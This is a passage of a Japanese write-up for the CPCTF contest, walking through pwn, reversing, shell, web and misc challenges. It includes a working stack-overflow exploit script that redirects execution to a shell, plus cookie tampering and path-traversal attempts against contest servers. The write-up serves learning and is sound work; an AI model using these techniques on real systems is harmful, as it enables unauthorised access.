提出すると無事ACとなり、フラグを入手できました: CPCTF{cUS0deQa-vo1cE}
入出力例2で笑いました。
[Pwn, Easy] Smash Stack (21 solves, 279.86 points)
Let's learn how to exploit! 接続先 nc smash-stack.cpctf.space 30005
配布ファイルとして、以下のvuln.c
がありました:
#include <stdio.h> void show_stack(char *buf) { printf("\n"); printf("Stack Infomation\n"); // stack printf("\n"); printf(" | address | value |\n"); printf(" buf > | %p | 0x%016llx |\n", ((long long *)buf), ((long long *)buf)[0]); for (int i = 1; i < 4; i++) { printf(" | %p | 0x%016llx |\n", ((long long *)buf) + i, ((long long *)buf)[i]); } printf(" saved rsp > | %p | 0x%016llx |\n", ((long long *)buf) + 4, ((long long *)buf)[4]); printf(" retaddr > | %p | 0x%016llx |\n", ((long long *)buf) + 5, ((long long *)buf)[5]); printf("\n"); } void win() { execve("/bin/sh", NULL, NULL); } int vuln() { char buf[32] = {}; show_stack(buf); printf("win: %p\n\n", win); gets(buf); show_stack(buf); return 0; } int main() { setbuf(stdout, NULL); setbuf(stdin, NULL); vuln(); return 0; }
win
関数のアドレスを出力してくれています。またgetsでスタックオーバーフローが可能であり、カナリアも無さそうなので戻りアドレスを改ざんできます。そういうわけで戻りアドレスをwin
関数へ改ざんするソルバーを書きました:
#!/usr/bin/env python3.8 import pwn def solve(tube): tube.recvuntil(b"win: ") win_addr = int(tube.recvline(), 16) tube.sendline(pwn.pack(win_addr).ljust(8, b'\x00')*32) # 後で思いましたが、pwn.contextを設定しておいたほうがpackで8バイトアライメントにしてくれて楽できましたね tube.interactive() with pwn.remote("smash-stack.cpctf.space", 30005) as tube: solve(tube)
実行しました:
$ ./solve.py [+] Opening connection to smash-stack.cpctf.space on port 30005: Done [*] Switching to interactive mode Stack Infomation | address | value | buf > | 0x7ffd5a52aa20 | 0x00000000004011b0 | | 0x7ffd5a52aa28 | 0x00000000004011b0 | | 0x7ffd5a52aa30 | 0x00000000004011b0 | | 0x7ffd5a52aa38 | 0x00000000004011b0 | saved rsp > | 0x7ffd5a52aa40 | 0x00000000004011b0 | retaddr > | 0x7ffd5a52aa48 | 0x00000000004011b0 | $ ls chall flag vuln.c $ cat flag CPCTF{Welc0me_t0_3xc1t1ng_pwn_w0rld} $ [*] Closed connection to smash-stack.cpctf.space port 30005 $
フラグを入手できました: CPCTF{Welc0me_t0_3xc1t1ng_pwn_w0rld}
[Reversing, Newbie] Welcome to reversing (19 solves, 10.00 points)
Ghidra等のデコンパイルツールを用いて、flagを探してみましょう。
配布ファイルとして、main
バイナリがありました:
$ file main main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f435469ca1b7c6a341fce2e3a6d2f889c8080e8f, for GNU/Linux 3.2.0, not stripped $
とりあえずIDAで開いてみると、フラグをランダムな順番で1文字1文字比較している処理がありました:
// 64-bit版なので、IDA Free版でもクラウドベースの逆コンパイルができます int __cdecl main(int argc, const char **argv, const char **envp) { char s[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); printf("Input Flag:"); fgets(s, 17, _bss_start); if ( s[2] == 'C' && s[13] == 'n' && s[0] == 'C' && s[10] == 'r' && s[4] == 'F' && s[15] == '}' && s[6] == 'r' && s[12] == '1' && s[8] == 'v' && s[9] == '3' && s[3] == 'T' && s[14] == '6' && s[7] == '3' && s[1] == 'P' && s[11] == '5' && s[5] == '{' ) { puts("Correct!"); return 0; } else { puts("Incorrect!"); puts(s); return 0; } }
最初は1文字1文字並び替えるのが面倒に思ったのでangrで実行しようとしましたが、どうにもうまくいきませんでした。仕方がないので1文字1文字拾ってフラグを入手しました: CPCTF{r3v3r51n6}
[Reversing, Easy] Link Your Wish (10 solves, 376.23 points)
Let's link!
配布ファイルとして、2つのバイナリがありました:
$ file main libwish.so main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2188fb8c9def9df002b9da04408ffdfd41039040, for GNU/Linux 3.2.0, not stripped libwish.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=fdeda34a400a770bf5de2c1bdc3632a50448d473, not stripped $
とりあえずlibwish.so
側をIDAで見てみると、1バイトXORして出力している処理がありました:
// 64-bit版なので、IDA Free版でもクラウドベースの逆コンパイルができます unsigned __int64 print() { int i; // [rsp+Ch] [rbp-34h] char v2[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v3; // [rsp+38h] [rbp-8h] v3 = __readfsqword(0x28u); strcpy(v2, "BQBUGz5ew2outs2^1g^m0oj2s|"); for ( i = 0; i <= 25; ++i ) v2[i] ^= 1u; printf("%s", v2); return v3 - __readfsqword(0x28u); }
出力内容をIPythonで確認してみました:
In [3]: "".join(map(lambda b: chr(b ^ 1), b"BQBUGz5ew2outs2^1g^m0oj2s|")) Out[3]: 'CPCTF{4dv3ntur3_0f_l1nk3r}'
フラグを入手できました: CPCTF{4dv3ntur3_0f_l1nk3r}
[Reversing, Easy] pyck up! (11 solves, 384.10 points)
我々が狙っているハッカー集団の居所を遂に見つけた。至急現場に向かったが誰一人として居なかった。そこに残されていたパソコンからデータを解析してみても、ハッカーが使っているソースコードは跡形も無い。しかしながら代わりにこんなファイルを入手できた。
配布ファイルとして、secret.cpython-310.pyc
がありました。decompyle3で逆コンパイルをしようとしましたが、Python 3.10には非対応でした:
$ decompyle3 secret.cpython-310.pyc # decompyle3 version 3.8.0 # Python bytecode 3.10.0 (3439) # Decompiled from: Python 3.8.0 (default, Dec 9 2021, 17:53:27) # [GCC 8.4.0] # Embedded file name: /home/anko/workspace/cpctf/problems/rev/pyckup/secret.py # Compiled at: 2022-04-29 20:43:51 # Size of source mod 2**32: 4227 bytes Unsupported Python version, 3.10.0, for decompilation # Unsupported bytecode in file secret.cpython-310.pyc # Unsupported Python version, 3.10.0, for decompilation $
Python 3.10のものを逆コンパイルする方法はあるか調べると、 decompiler - How can I decompile .pyc files from Python 3.10? - Stack Overflow を見つけ、そこで zrax/pycdc: C++ python bytecode disassembler and decompiler が紹介されていました。導入して試すとうまくいきました:
$ ./pycdc secret.cpython-310.pyc # Source Generated with Decompyle++ # File: secret.cpython-310.pyc (Python 3.10) import base64 data = [ b'Q1BDVEZ7PEZmd1BcbCgzWl8mYGAyN2RpQVZ9', b'Q1BDVEZ7VUQ3TGEqTkIwSzFVZW4zQWcrKG99', b'Q1BDVEZ7SnxceSpyell0Xk5fLTo+K2k3Ymp9', b'Q1BDVEZ7X3ZCRURNWENqR1QyN2M3TWRoVkl9', b'Q1BDVEZ7KzZsIW8qR1xaXDRYTCRANG0wT2h9', b'Q1BDVEZ7KVBZXGVIZmQyIXJxS0dhYi8jKXF9', b'Q1BDVEZ7cEgta1dUdy18SElzVEt9amQpLzt9', b'Q1BDVEZ7TjZeWUxRQDp1K3R2ZSktdygrTHV9', b'Q1BDVEZ7ITRTa307Ilw3V3hGJCxEKX53dWZ9', b'Q1BDVEZ7KEp9di1ATSQpUS1nPjM7fFUpLDJ9', b'Q1BDVEZ7S2w/ZnZ7dzRtKVZnbW00IX1ZRit9', b'Q1BDVEZ7USsoc3FlVGA/ajZGM3JfLToiaEd9', b'Q1BDVEZ7UTFXMmRDdEIhLi9ULnswL18uTlt9', b'Q1BDVEZ7ZGlvJnJkVT8ncC52LkokWy1SUEJ9', b'Q1BDVEZ7dTdKXlh6fXQ5LlMsSStORHhxMX59', b'Q1BDVEZ7J1UnTkFldFJZYyQxIWpxRiF3cCh9', b'Q1BDVEZ7XHhdQyxuSztfaD1HZl9sLGM0dmd9', b'Q1BDVEZ7djt1bTBAdV5bY05eUGF8RitFcUN9', b'Q1BDVEZ7YlpzMXZuJE9raFo7c2RaPHV7Snl9', b'Q1BDVEZ7OH5WL2o3WU5sWndYK21sb0lda0N9', b'Q1BDVEZ7P3tga1xybyN4Qm9mQSsuYkp6dWJ9', b'Q1BDVEZ7eiZyJT1cNj4hPFsmSmVeOlctci59', b'Q1BDVEZ7NShxL35XWH5yOGFdR0JfSG9vYiN9', b'Q1BDVEZ7YWhCVSRzWj9YLk5hTW9SPHooMit9', b'Q1BDVEZ7WzE0QX5LImZobCwhN3JKVnpPMUZ9', b'Q1BDVEZ7R2VXRiwuRVhNV0smVDpWYCpTRHd9', b'Q1BDVEZ7LnpJfGRNWXkmfX5hMCdgZmZWdmp9', b'Q1BDVEZ7YGRJWnhpVTxPe21kUnF0aHRAZkx9', b'Q1BDVEZ7Vzs4ZHhbNktceGpMQ2hNLT5iTWp9', b'Q1BDVEZ7d0o2OzBTc3pAQU9BK20xMTFQdXV9', b'Q1BDVEZ7VSc6UWU9bHchLykpSnd7SSdKKSd9', b'Q1BDVEZ7cG5OJ15rbHlvKjc2eW02XE9fJl19', b'Q1BDVEZ7Ulx9cUktWX53bmlZRkQ2VWJidkB9', b'Q1BDVEZ7KCtsLEwze1tBQ3R7RlBIfGlLRnh9', b'Q1BDVEZ7O3hsUUZaMH50TmxpcTY6MSU+Xid9', b'Q1BDVEZ7REI+fj9zJj57ZWtNUEBadHs4Ozh9', b'Q1BDVEZ7c1wuNWBfPEFubm5AdWFyWUkkWyp9', b'Q1BDVEZ7XldFdkJHPERmdEgiSCImUy42YHl9', b'Q1BDVEZ7ezJnPkx6XExrJkNUJC1EeXV0ZGF9', b'Q1BDVEZ7Q3EkfiMwK19EYTZkIl1HYk8hQix9', b'Q1BDVEZ7eUZ5X0BMaVUoOT1RQl1YPDh2Y1N9', b'Q1BDVEZ7XSJXeFt+J1Y5USpQfnl1ckAqJnZ9', b'Q1BDVEZ7VCp1S09ZX1RoRUM7RC5idTZRZyR9', b'Q1BDVEZ7LEJkTnNUTWxQc3kudiZmeFUzK0p9', b'Q1BDVEZ7SV9BYHV2XEFtNEh0Z2UrY1M4dlJ9', b'Q1BDVEZ7RF09SkpLMWtTY3o4Vk5rNmsrcSJ9', b'Q1BDVEZ7KDVkb2d3c2JPSjNYMHo5VzdkTy19', b'Q1BDVEZ7bTo9QDl0cV8udk9YKHQzWiI7QXF9', b'Q1BDVEZ7cnIxNjh8OFBwSjpaLH0/O0swaUN9', b'Q1BDVEZ7TT5IdCJzTmZWLWNNT1IqJT5zU1l9', b'Q1BDVEZ7aFI2OzVtd1o8emEvJz04JW1HXyx9', b'Q1BDVEZ7d0VrKW9tRyV9VDN6ZH4lezt1Py59', b'Q1BDVEZ7VUJQdCVgXEtVeWhWVCNaam42PnB9', b'Q1BDVEZ7TCI8fXhFPTJSNFpVWCI9O3VVQ1N9', b'Q1BDVEZ7eFRmbm14X0xuJClcSiV0fFBkYiV9', b'Q1BDVEZ7QmpBLHpwPVVJXlEiMlw+UG1UcC19', b'Q1BDVEZ7KUY4fH4xPS57SjEpYD1IPEZ1Snx9', b'Q1BDVEZ7YW5dJVVPXWg1WUI/aGs6WTY0LWZ9', b'Q1BDVEZ7WDtfYlNXZ1BTc1Jfb0A/dTR2PGt9', b'Q1BDVEZ7fSooUUhse0ZmND9CdnR2QndxeSp9', b'Q1BDVEZ7XElGb0kocEotZj19JWZOfTVKbm19', b'Q1BDVEZ7ImxdMWw0XTwkITlhRT1sVihwNE99', b'Q1BDVEZ7Pj5nckhwSXF2NUpNTUJQXGhHRV59', b'Q1BDVEZ7Y3A2Q110bEpMdSo/bmEneVMwIkd9', b'Q1BDVEZ7KG1KMGAmPEE7S0RGOSNvJDcvTS59', b'Q1BDVEZ7XkAuQkY7SnYiXkg7Sy1HW3E4U359', b'Q1BDVEZ7UEtncDpnZEA0fkJnY1cpLSpZY1V9', b'Q1BDVEZ7dVw4clg7ckN9LWJQPlwyVENBPHl9', b'Q1BDVEZ7Oj15RSYsLVlpRlBrIyg6PjdqSDp9', b'Q1BDVEZ7VXcldDhrMHZsJSlPbTUsY1QlNWZ9', b'Q1BDVEZ7MFglfi9NeU5XJm5+RGwwdSs9O1p9', b'Q1BDVEZ7bEY6Z1RPO0xBbyM2PHo3RXdRPnJ9', b'Q1BDVEZ7PCdaInpSTmpvLDFvNS1dQjBfKl59', b'Q1BDVEZ7SXVbLHk0RXx0JzE9d0R4VnBcPVt9', b'Q1BDVEZ7X253akxbeiJ3MWg3O3BRXFFxVWR9', b'Q1BDVEZ7aCkhXkl+I1pVPCxJXEk2eFZqS099', b'Q1BDVEZ7aXlLekk7VmdYQHJjSzZCaXN2J3p9', b'Q1BDVEZ7c2d2MEpGZ05GJCxlYGpmRChEeGV9', b'Q1BDVEZ7KypncUpqeFI8cUgsenosOn5sZDp9', b'Q1BDVEZ7TlI1X0ZpcDFHbVM3aTJ2RHx5SWx9', b'Q1BDVEZ7UFM1MHpsS0F0YyhGdDNvP3BKT059', b'Q1BDVEZ7VTh6QGdnKVgnOGFvdEElQ2RfJVR9', b'Q1BDVEZ7NFt6Ql9UOilScy46fkkuNW43X1l9', b'Q1BDVEZ7YXNtOm5IYXRIMSxGVCYzcz42KGd9', b'Q1BDVEZ7K31kOTxySSw5LXZOfjxAJXMuRUl9', b'Q1BDVEZ7YDN3RGZbfHxpOjQ0JS0vdVhxZzl9', b'Q1BDVEZ7MmFxTTl+Ky1lb2heYipxTTwqRWh9', b'Q1BDVEZ7ZGdEbnE2ME07IzUuaCE4L0YpQVR9', b'Q1BDVEZ7PlFuW19IWHssejNSS1YzbHtHXSF9', b'Q1BDVEZ7JmdDcHooTDNrWTJxbW1sW3w3LjN9', b'Q1BDVEZ7MiFcVzctSUNPejlHbmtESSNLJn59', b'Q1BDVEZ7PmJdeUZaWzEnTTU0XiJGXzZEJ3t9', b'Q1BDVEZ7ZmhQcDwlM1RvSTEvNG02dD1aeGl9', b'Q1BDVEZ7RGB2ZjAsM3lcb3pQfUEscm0ia099', b'Q1BDVEZ7c0QjOElpY2F6XSg/VDNGUHJYISl9', b'Q1BDVEZ7ekRHbF0lcmpjUSdWWDBCfURzelp9', b'Q1BDVEZ7QlJsR2R1RnEhWWA1MG1SXXR+NWx9', b'Q1BDVEZ7IVMjSiosQExDcjtVT0VvMEExL0x9', b'Q1BDVEZ7IzU7U2V7Q0l8fHF8P0w6d3REVF99', b'Q1BDVEZ7SD5dclJaKm4wMjBFKXtaMVgxPUl9'] FLAG = b'Q1BDVEZ7Y2FjaGVfaXNfYWxzb190aGVfc2VlZF9vZl9leHBsb2l0fQ==' supersecret = base64.b64decode(FLAG) $
最後にフラグがあるのでBase64で復号しました:
$ echo 'Q1BDVEZ7Y2FjaGVfaXNfYWxzb190aGVfc2VlZF9vZl9leHBsb2l0fQ==' | base64 -d CPCTF{cache_is_also_the_seed_of_exploit} $
フラグを入手できました: CPCTF{cache_is_also_the_seed_of_exploit}
なお、data変数に格納しているリストは、ダミーフラグのBase64エンコード結果のようでした。
[Reversing, Normal] Spider Anatomy (8 solves, 388.15 points)
https://spider-anatomy.cpctf.space/ 上記のページを開いてpassを入力したあとSubmitを押してOutputのところに「Success」と表示されたものがフラグになっています。 形式はCPCTF{入力したもの}になっています。 例えば、「aaa」を入力して「Success」と表示された場合は、CPCTF{aaa}がフラグです。
「ReversingジャンルでURLがあるなんてWASMかな」と思いながらページを開いてソースを眺めていると、 /assets/index.95f76d1f.js
に以下のJavaScriptがありました:
var wasmUrl = "data:application/wasm;base64,AGFzbQEAAAABBgFgAX8BfwMCAQAFAwEAAAcWAgljaGVja1Bhc3MAAAZtZW1vcnkCAApPAU0BAn9Bzr0PIQEDQCACQbESSARAIAFBsRJsQQJ1IQEgAkECaiECDAELCyAAQf//A3FBEHQgAEGAgHxxQRB2aiABQYjm1wFvQfe2AWxGCwAmEHNvdXJjZU1hcHBpbmdVUkwULi9vcHRpbWl6ZWQud2FzbS5tYXA="; const $form = document.getElementById("form"); const $output = document.getElementById("output"); (async () => { const wasmRes = await fetch(wasmUrl); const wasmBinary = await wasmRes.arrayBuffer(); const wasmModule = await WebAssembly.instantiate(wasmBinary, {}); const { checkPass } = wasmModule.instance.exports; $output.textContent = "Loaded"; $form.addEventListener("submit", (e) => { e.preventDefault(); const formData = new FormData($form); const pass = formData.get("pass"); const passNum = +pass; if (passNum < -(2 ** 31) || 2 ** 31 - 1 < passNum) { $output.textContent = "must be int32"; return; } const isOk = checkPass(passNum); $output.textContent = isOk ? "Success" : "Fail"; }); })();
wasm中のcheckPass関数を呼び出して判定しています。wasmを扱うツールとして WebAssembly/wabt: The WebAssembly Binary Toolkit があることを知っていたので、それを導入してC言語ソースに変換しました:
$ echo 'AGFzbQEAAAABBgFgAX8BfwMCAQAFAwEAAAcWAgljaGVja1Bhc3MAAAZtZW1vcnkCAApPAU0BAn9Bzr0PIQEDQCACQbESSARAIAFBsRJsQQJ1IQEgAkECaiECDAELCyAAQf//A3FBEHQgAEGAgHxxQRB2aiABQYjm1wFvQfe2AWxGCwAmEHNvdXJjZU1hcHBpbmdVUkwULi9vcHRpbWl6ZWQud2FzbS5tYXA=' | base64 -d > wasm.bin $ ./wasm2c wasm.bin > wasm2c_result.c
変換結果のcheckPass関数箇所は以下のものでした:
// typedefやマクロ定義等は省略 static u32 w2c_checkPass(u32 w2c_p0) { u32 w2c_l1 = 0, w2c_l2 = 0; FUNC_PROLOGUE; u32 w2c_i0, w2c_i1, w2c_i2; w2c_i0 = 253646u; w2c_l1 = w2c_i0; w2c_L0: w2c_i0 = w2c_l2; w2c_i1 = 2353u; w2c_i0 = (u32)((s32)w2c_i0 < (s32)w2c_i1); if (w2c_i0) { w2c_i0 = w2c_l1; w2c_i1 = 2353u; w2c_i0 *= w2c_i1; w2c_i1 = 2u; w2c_i0 = (u32)((s32)w2c_i0 >> (w2c_i1 & 31)); w2c_l1 = w2c_i0; w2c_i0 = w2c_l2; w2c_i1 = 2u; w2c_i0 += w2c_i1; w2c_l2 = w2c_i0; goto w2c_L0; } w2c_i0 = w2c_p0; w2c_i1 = 65535u; w2c_i0 &= w2c_i1; w2c_i1 = 16u; w2c_i0 <<= (w2c_i1 & 31); w2c_i1 = w2c_p0; w2c_i2 = 4294901760u; w2c_i1 &= w2c_i2; w2c_i2 = 16u; w2c_i1 >>= (w2c_i2 & 31); w2c_i0 += w2c_i1; w2c_i1 = w2c_l1; w2c_i2 = 3535624u; w2c_i1 = I32_REM_S(w2c_i1, w2c_i2); w2c_i2 = 23415u; w2c_i1 *= w2c_i2; w2c_i0 = w2c_i0 == w2c_i1; FUNC_EPILOGUE; return w2c_i0; }
変数名が似通っていて分かりづらいですが、よく読むと以下の要素で構成されていることがわかります:
- 引数に依存しない、ループで何かを計算する処理
- ループ計算結果と引数を使って何かを計算して、2つが等しいか判定する処理
ループで計算する処理は事前に計算しておいて使い回せます。あとは引数に与える数値を探索すれば良さそうです。この発想でソルバーを書きました:
#include <stdio.h> #include <stdint.h> typedef uint8_t u8; typedef int8_t s8; typedef uint16_t u16; typedef int16_t s16; typedef uint32_t u32; typedef int32_t s32; typedef uint64_t u64; typedef int64_t s64; typedef float f32; typedef double f64; #define REM_S(ut, min, x, y) (ut)((x) % (y)) #define I32_REM_S(x, y) REM_S(u32, INT32_MIN, (s32)x, (s32)y) u32 Precompute_w2c_l1() { u32 w2c_l1 = 0, w2c_l2 = 0; u32 w2c_i0, w2c_i1, w2c_i2; w2c_i0 = 253646u; w2c_l1 = w2c_i0; w2c_L0: w2c_i0 = w2c_l2; w2c_i1 = 2353u; w2c_i0 = (u32)((s32)w2c_i0 < (s32)w2c_i1); if (w2c_i0) { w2c_i0 = w2c_l1; w2c_i1 = 2353u; w2c_i0 *= w2c_i1; w2c_i1 = 2u; w2c_i0 = (u32)((s32)w2c_i0 >> (w2c_i1 & 31)); w2c_l1 = w2c_i0; w2c_i0 = w2c_l2; w2c_i1 = 2u; w2c_i0 += w2c_i1; w2c_l2 = w2c_i0; goto w2c_L0; } return w2c_l1; } u32 checkPass(u32 w2c_p0, u32 w2c_l1) { u32 w2c_l2 = 0; u32 w2c_i0, w2c_i1, w2c_i2; w2c_i0 = w2c_p0; w2c_i1 = 65535u; w2c_i0 &= w2c_i1; w2c_i1 = 16u; w2c_i0 <<= (w2c_i1 & 31); w2c_i1 = w2c_p0; w2c_i2 = 4294901760u; w2c_i1 &= w2c_i2; w2c_i2 = 16u; w2c_i1 >>= (w2c_i2 & 31); w2c_i0 += w2c_i1; w2c_i1 = w2c_l1; w2c_i2 = 3535624u; w2c_i1 = I32_REM_S(w2c_i1, w2c_i2); w2c_i2 = 23415u; w2c_i1 *= w2c_i2; w2c_i0 = w2c_i0 == w2c_i1; return w2c_i0; } int main(void) { u32 w2c_l1 = Precompute_w2c_l1(); for (u64 i = 0; i <(2LL<<32LL); ++i) { if (i%1000000 == 0) { printf("%d\n", (u32)i); } if (checkPass((u32)i, w2c_l1) == 1) { printf("%d\n", (u32)i); return 0; } } }
コンパイルして実行しました:
$ g++ -O2 solve.cpp $ time ./a.out 0 1000000 (中略) 673000000 673402814 ./a.out 0.53s user 0.01s system 99% cpu 0.546 total $
後は問題文にある書式でフラグを構成できました: CPCTF{673402814}
[Shell, Newbie] Hello Webshell (65 solves, 10.00 points)
Webshell上にあるフラグを見つけましょう。
本CTFではWebShellが提供されています。触ってみました:
Tan90909090@192.168.0.4's password: ██████╗██████╗ ██████╗████████╗███████╗ ██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██║ ██████╔╝██║ ██║ █████╗ ██║ ██╔═══╝ ██║ ██║ ██╔══╝ ╚██████╗██║ ╚██████╗ ██║ ██║ ╚═════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. ubuntu@811e3010ce79:~$ ls flag_HelloWebshell.txt ubuntu@811e3010ce79:~$ cat flag_HelloWebshell.txt CPCTF{h3110_w3b5h311} ubuntu@811e3010ce79:~$
フラグを入手できました: CPCTF{h3110_w3b5h311}
[Shell, Newbie] netcat (57 solves, 10.00 points)
linux の nc というコマンドを使って接続してみましょう。 ncコマンドはnc アドレス ポートという風に使います。 Windows の方は webshell を使うことを推奨します。 アドレス: netcat.cpctf.space ポート : 30019
接続しました:
$ nc netcat.cpctf.space 30019 -q 0 CPCTF{nc_means_netcat} $
フラグを入手できました: CPCTF{nc_means_netcat}
[Shell, Easy] Find Image (24 solves, 263.75 points)
おじいちゃんは重要なファイルがどこにあるか忘れてしまいました。ディスクイメージを取ってきたので代わりに探してあげましょう。
配布ファイルとしてimage.img
が与えられました。こういう問題はTestDiskを使うものだと思いこんでいたので、TestDiskを使ってトップディレクトリー以下を全部ローカルへコピーしました。大量にフォルダーがあったので、Windowsのエクスプローラー右上にflag
と入力すると、以下の4フォルダー以下にflag.png
がありました(多分内容は全部同じだと思います):
新しいフォルダー - コピー (4) - コピー\新しいフォルダー (2) - コピー 新しいフォルダー - コピー (8) - コピー\新しいフォルダー (2)\data10 新しいフォルダー (13) - コピー\data19 新しいフォルダー (13) - コピー\data42\data10
flag.png
にかかれていた文字を読み取って、フラグを入手できました: CPCTF{im4ge_1n_im4ge}
後で気付きましたが、7-Zipでimage.img
を開くとSizeが非0のフォルダーは1つだけなので、それらをダブルクリックしていってもflag.png
が見つかりました。……1個だけ見つかりました。TestDiskでは削除済みファイルを見つけてくれたのでしょう、多分。
[Shell, Easy] Veeeeeeery Long Text (50 solves, 142.59 points)
flag.txtにフラグが書いてあります、やったね。 ssh user@veeeeeeery-long-text.cpctf.space -p 30004 password: P455W0I2D
接続したりしました:
$ ssh user@veeeeeeery-long-text.cpctf.space -p 30004 user@veeeeeeery-long-text.cpctf.space's password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-70-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun May 1 04:40:05 2022 from 198.51.100.1 $ ls flag.txt $ wc flag.txt 100001 100001 6500065 flag.txt $ grep CPCTF flag.txt CPCTF{p1pe_15_u53fu1}Oj<5g]pv$A.4#E8Y53;/d|qS~i]CA(G`\!"ynP5/-F! $
フラグを入手できました: CPCTF{p1pe_15_u53fu1}
[Web, Newbie] Forbidden 1 (75 solves, 10.00 points)
フラグはadminしか取得できないから大丈夫なはず... forbidden-1.cpctf.space
URLへアクセスすると画像をクリックしてフラグを入手
という表示がありました。画像をクリックするとfetch failed with status code 403
と表示されました。
問題文を見るにadmin判定をしているようので探してみると、ブラウザにadmin
という名前のクッキーが保存されており、値はfalse
でした。値をtrue
に書き換えて画像をクリックし直すと、フラグが表示されました: CPCTF{D3v70015_15_v3ry_p0w3rfu1}
[Web, Newbie] POST ME! (60 solves, 10.00 points)
POSTしてGETしてみよう! postme.cpctf.space pythonでのやりかたのヒント(https://requests-docs-ja.readthedocs.io/en/latest/user/quickstart/)
問題文の後に、このサイトのソースコード↓
も記述されていました:
from flask import * app = Flask(__name__) @app.route("/", methods=["GET", "POST", "DELETE"]) def postme(): if request.method == "GET": f = open("index.html", "r") s = f.read() f.close() return s elif request.method == "POST": if request.json is not None and request.json.get("password","") == "pass": return "フラグの最初は CPCTF{#### です!次はDELETEリクエストを送ってみよう!" else: return 'JSON形式で{"password":"pass"} を送ってみよう' elif request.method == "DELETE": return "############}" else: return "" if __name__ == "__main__": app.run(debug=False, host='0.0.0.0', port=8888, threaded=True)
cURLを使ってアクセスすることにしました。Content-Typeを入れ忘れていて少しハマったりしました:
$ curl https://postme.cpctf.space/ -d '{"password":"pass"}' <!doctype html> <html lang=en> <title>400 Bad Request</title> <h1>Bad Request</h1> <p>The browser (or proxy) sent a request that this server could not understand.</p> $ curl https://postme.cpctf.space/ -H 'Content-Type: application/json' -d '{"password":"pass"}' フラグの最初は CPCTF{POST_ です!次はDELETEリクエストを送ってみよう! $ curl https://postme.cpctf.space/ -X DELETE AND_DELETE_MASTER} $
フラグを入手できました: CPCTF{POST_AND_DELETE_MASTER}
[Web, Newbie] Robots (59 solves, 10.00 points)
Robots.txtをのぞいてみましょう。 https://chocolatechipcookie.cpctf.space/
https://chocolatechipcookie.cpctf.space/robots.txt
へアクセスしてみると、以下の内容でした:
# こんにちは、ここがrobots.txtです User-agent:* Disallow: /flag_h7Mz.html
そういうわけでhttps://chocolatechipcookie.cpctf.space/flag_h7Mz.html
へアクセスすると、以下の表示がありました:
みつかってしまった!! CPCTF{I_11k3_Ch0c01473_Ch19_C00k13}
フラグを入手できました: CPCTF{I_11k3_Ch0c01473_Ch19_C00k13}
ヒントを一部みて解いた問題
3個あるヒントのうち、1~2個のヒントを見て解いた問題です。ヒントを見ているのであっさり目に書きます。得点はヒントを見たことによる減点後の点数です。
[Misc, Easy] Eagle (27 solves, 246.48 points)
U.N. Owen was EAGLE?
配布ファイルとしてeagle.ZIP
がありました:
$ unzip eagle.ZIP Archive: eagle.ZIP inflating: test.GTL inflating: test.GTO inflating: test.GBS inflating: test.GML inflating: test.GBL inflating: test.GBO inflating: test.GTS inflating: test.TXT inflating: test-NPTH.TXT $
それらのファイルを見てみると、3D CAD用のファイルに見えました。よく分からなかったので飛ばして、コンテスト終了少し前にヒントを見ました:
ヒント1 .TXTなどを開いてみると...何かのソフトウェアで生成されているみたいですね。 ヒント2 .TXTはメモ帳の拡張子なのでしょうか内部にDrillという文字列がありますね。 一緒に調べてみると...Gerber Viewerという単語が目につきますね。
Gerber Viewer
でググってみるとOnline Gerber Viewer - PCB Prototype the Easy Way - PCBWayを見つけました。ZipファイルをD&Dすると、内容が表示されました:
フラグを入手できました: CPCTF{KiCad_n0t_EAGLE}
[Web, Easy] Forbidden 2 (48 solves, 205.78 points)
フラグは誰も取得できないように設定したから安心だね! forbidden-2.cpctf.space
配布ファイルとしてsource.zip
があり、展開すると以下のHTMLファイルやnginx.conf
がありました:
<!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <meta charset="utf-8" /> <script src="https://cdn.tailwindcss.com"></script> <title>Forbidden 2</title> </head> <body> <div class="mx-16 my-12"> <h1 class="text-4xl my-12">Forbidden 2</h1> <p>↓画像をクリックしてフラグを入手</p> <img src="/public/flag_image.png" onclick="getFlag()" class="w-60 h-auto" /> <p id="flag"></p> <p id="error" class="text-red-500"></p> <script> async function getFlag() { try { // フラグを取得して表示する const res = await fetch("/private/flag.txt"); if (!res.ok) throw new Error(`fetch failed with status code ${res.status}`); const text = await res.text(); document.getElementById("flag").innerText = text; document.getElementById("error").innerText = ""; } catch (e) { // 失敗した場合はエラーを表示する document.getElementById("flag").innerText = ""; document.getElementById("error").innerText = e.message; } } </script> </div> </body> </html>
http { server { listen 80; location /private { return 403; } location /public { alias /usr/share/nginx/public/; } location / { alias /usr/share/nginx/html/; } } } events {}
ディレクトリトラバーサルを狙ったりしましたが、うまくいきませんでした:
$ curl https://forbidden-2.cpctf.space/private/flag.txt <html> <head><title>403 Forbidden</title></head> <body> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.21.6</center> </body> </html> $ curl https://forbidden-2.cpctf.space/public/../private/flag.txt <html> <head><title>403 Forbidden</title></head> <body> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.21.6</center> </body> </html>
わからなかったのでヒントを見ました:
